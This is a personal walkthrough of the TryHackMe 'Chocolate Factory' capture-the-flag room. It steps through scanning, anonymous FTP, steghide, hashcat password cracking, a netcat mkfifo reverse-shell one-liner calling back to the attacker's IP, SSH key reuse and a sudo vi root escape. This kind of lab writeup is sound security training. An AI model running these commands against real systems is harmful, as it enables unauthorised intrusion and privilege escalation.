📓
Pentesting
  • Writeups
  • HackTheBox
    • Easy Machines
      • Beep Writeup
      • Shocker Writeup
      • Lame Writeup
      • Jerry Writeup
      • Legacy Writeup
      • Blue Writeup
  • TryHackMe
    • Walkthroughs: Easy
      • CC: Steganography
      • Cryptography for Dummies
      • Cross-site Scripting
      • SQL Injection Lab
      • SQL Injection
      • ZTH: Web 2
      • SSRF
      • XXE
      • Authenticate
      • Injection
      • Blaster
      • The Cod Caper
      • Hardening Basics Part 1
      • What the Shell?
      • Game Zone
      • Upload Vulnerabilities
      • Bolt
      • Erit Securus 1
      • CC: Pentesting
      • JavaScript Basics
      • OverPass 2 - Hacked
      • Linux: Local Enumeration
      • Ice
      • Linux Backdoors
      • Avengers Blog
      • DNS in Detail
      • Putting it all together
      • Kenobi
      • Common Linux Privesc
      • Network Services 2
      • Network Services
      • The Hacker Methodology
      • The Find command
      • HTTP in Detail
      • Web Fundamentals
      • How Websites Work
      • Introductory Networking
    • Challenges (CTF): Easy
      • VulNet: Roasted
      • VulNet: Internal
      • Git Happens
      • Kiba
      • VulNet: Node
      • Memory Forensics
      • Smag Grotto
      • Investigating Windows
      • Cat Pictures
      • Juicy Details
      • Anthem
      • Tony The Tiger
      • Jack-of-All-Trades
      • JPGChat
      • Blueprint
      • All in One
      • Gotta Catch'em All
      • Mustacchio
      • Break Out The Cage
      • HeartBleed
      • Poster
      • Madness
      • Source
      • Thompson
      • Library
      • Magician
      • Anonforce
      • Dav
      • GLITCH
      • Fowsniff CTF
      • Team
      • H4cked
      • Easy Peasy
      • ColddBox: Easy
      • Archangel
      • Cyborg
      • Chocolate Factory
      • Brute It
      • Year of the Rabbit
      • ChillHack
      • Gaming Server
      • Brooklyn Nine Nine
      • Wgel CTF
      • Tomghost
      • ToolsRus
      • Skynet
      • Startup
      • Agent Sudo
      • Lian-Yu
      • OhSINT
      • Overpass
      • Crack The Hash
      • Ignite
      • Inclusion
      • Bounty Hunter
      • LazyAdmin
      • RootMe
      • Pickle Rick
      • Basic Pentesting
      • Simple CTF
  • Crackmes.one
    • 1 Difficulty Rating
      • easyAF
      • Easy Keyg3nme
Powered by GitBook
On this page
  • Reconnaissance
  • Enumeration
  • Port 21: FTP
  • Port 80: HTTP
  • Privilege Escalation

Was this helpful?

  1. TryHackMe
  2. Challenges (CTF): Easy

Chocolate Factory

PreviousCyborgNextBrute It

Last updated 3 years ago

Was this helpful?

Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (-Pn)

nmap -Pn 10.10.46.164

Detailed Nmap Scan :

Command Breakdown:

  • (-sV): Service version

  • (-sC): Default nmap scripts

  • (-p): Specifying ports 21,22,80

  • (-oN nmap): Saving it into a file called nmap

nmap -sV -sC -p 21,22,80 -oN nmap 10.10.46.164

Enumeration

Port 21: FTP

Anonymous login is allowed so lets go check it out

ftp 10.10.46.164

Lets list the files.

Looks like there is one file and it is a image so lets transfer it to our machine

get gum_room.jpg

Lets look at the image

Lets see if there is information hidden in the file, so lets use steghide.

steghide info gum_room.jpg

I hit enter for the passphrase and it worked. We have one file called b64.txt, lets extract it.

steghide --extract -sf gum_room.jpg

Lets read the file

Lets decode it. After decoded this is the output.

We have the password hash for the user Charlie. Lets use hashcat to crack this hash to get the password for Charlie.

Copy the hash into a file called hash.txt.

And now lets use hashcat to crack it.

hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

We found the password: cn7824 , lets try to login through ssh.

ssh charlie@10.10.46.164

Looks like this is not the password for ssh, lets go explore port 80

Port 80: HTTP

Lets visit the website

Its a login page, remember the credentials we found, lets use them to login.

We logged in , looks like we can run commands, and normal commands work so lets run a reverse shell and get a reverse shell, lets first start a netcat listener

nc -lvnp 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f

Lets execute this command, and we get a reverse shell on the machine

Lets stabilize this shell, using these commands

python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
stty raw -echo; fg
reset
Ctrl + C
export TERM=xterm-color

Lets list the files in the current directory

We have a validate.php file, lets read it

We see the credentials we just used to login in the web page. I tried to run the key file but it said permission denied

So I used a command that lets us look at some information which is called strings and it gave me important information

strings key_rev_key

We have a key. With this information we can answer two questions in the room

I was enumerating when I realized that we can change directories into Charlie, so I listed the files and found the user.txt and some other files.

Lets read the teleport file.

Its a rsa private key, we can use this to login as charlie through ssh, lets do that. First copy the contents of the file into a file on your machine called id_rsa.

Now we should change the permissions of the file

chmod 600 id_rsa

Now lets login

ssh -i id_rsa charlie@10.10.46.164

We are logged in.

Privilege Escalation

Lets run sudo -l to see what we can run as root

sudo -l

Lets run this command

sudo vi -c ':!/bin/sh' /dev/null

We are now root, lets cd into the root folder to find the root flag, it looks like we need to run a python script to get the flag, lets run it, oh its asking for a key, remember when we found the key during enumeration, type that in and you should get the flag

Lets get a reverse shell from .

Looks like we can run /usr/bin/vi as root so lets go to to find the commands to escalate our privilege to root.

here
GTFOBins